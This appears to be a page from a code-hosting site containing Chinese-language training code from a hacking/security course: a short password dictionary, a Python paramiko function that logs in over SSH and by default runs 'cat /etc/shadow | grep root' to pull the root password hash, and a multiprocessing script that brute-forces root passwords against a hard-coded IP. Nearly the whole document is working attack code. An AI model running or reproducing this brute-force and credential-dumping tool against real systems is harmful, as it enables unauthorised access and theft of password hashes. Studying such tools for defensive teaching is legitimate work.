代码拉取完成,页面将自动刷新
########################字典##############################
cisco
cisco1
cisco2
cisco3
cisco4
cisco5
cisco6
cisco7
cisco8
cisco9
cisco10
qytang1
qytang2
qytang3
qytang4
qytang5
qytang6
qytang7
qytang8
qytang9
qytang10
test1
test2
test3
test4
test5
test6
test7
test8
test9
test10
Cisc0123
#####################ssh连接方法##########################################
#!/usr/bin/python3.4
# -*- coding=utf-8 -*-
#本脚由亁颐堂现任明教教主编写,用于乾颐盾Python课程!
#教主QQ:605658506
#亁颐堂官网www.qytang.com
#乾颐盾是由亁颐堂现任明教教主开发的综合性安全课程
#包括传统网络安全(防火墙,IPS...)与Python语言和黑客渗透课程!
import paramiko
import re
def ssh_connect(connection_option):
try:
if len(connection_option) < 2:
print('参数错误:至少应该指派IP地址与密码')
elif len(connection_option) == 2:
ip = connection_option[0]
passwd = connection_option[1]
user = 'root'
cmd = 'cat /etc/shadow | grep root'
port = 22
elif len(connection_option) == 3:
ip = connection_option[0]
passwd = connection_option[1]
user = connection_option[2]
cmd = 'cat /etc/shadow | grep root'
port = 22
elif len(connection_option) == 4:
ip = connection_option[0]
passwd = connection_option[1]
user = connection_option[2]
cmd = connection_option[3]
port = 22
elif len(connection_option) == 5:
ip = connection_option[0]
passwd = connection_option[1]
user = connection_option[2]
cmd = connection_option[3]
port = connection_option[4]
else:
print('参数数量过多')
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip,port,user,passwd,timeout=5)
stdin,stdout,stderr = ssh.exec_command(cmd)
x = stdout.read().decode()
ssh.close()
print('密码找到:' + passwd)
print('Root账号信息:'+ x)
except Exception as e:
if re.search('Authentication failed.', str(e)):
print('密码错误:' + passwd)
return (0,'密码错误')
else:
pass
ssh.close()
if __name__ == '__main__':
ssh_connect(['202.100.1.139','Cisc0123','root','uname -a',22])
##################ssh密码暴力破解脚本##########################################
#!/usr/bin/python3.4
# -*- coding=utf-8 -*-
#本脚由亁颐堂现任明教教主编写,用于乾颐盾Python课程!
#教主QQ:605658506
#亁颐堂官网www.qytang.com
#乾颐盾是由亁颐堂现任明教教主开发的综合性安全课程
#包括传统网络安全(防火墙,IPS...)与Python语言和黑客渗透课程!
import multiprocessing
from ssh import ssh_connect
def dos_ssh_root_passwd(ip,dict,user='root'):
ip_passwd = []
passwdfile = open(dict,'r').readlines()
for passwd in passwdfile:
ip_passwd.append((ip,passwd.strip(),user))
pool=multiprocessing.Pool(processes=3)
pool.map(ssh_connect,ip_passwd)
if __name__ == '__main__':
dos_ssh_root_passwd('202.100.1.139','dict.txt','root')
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。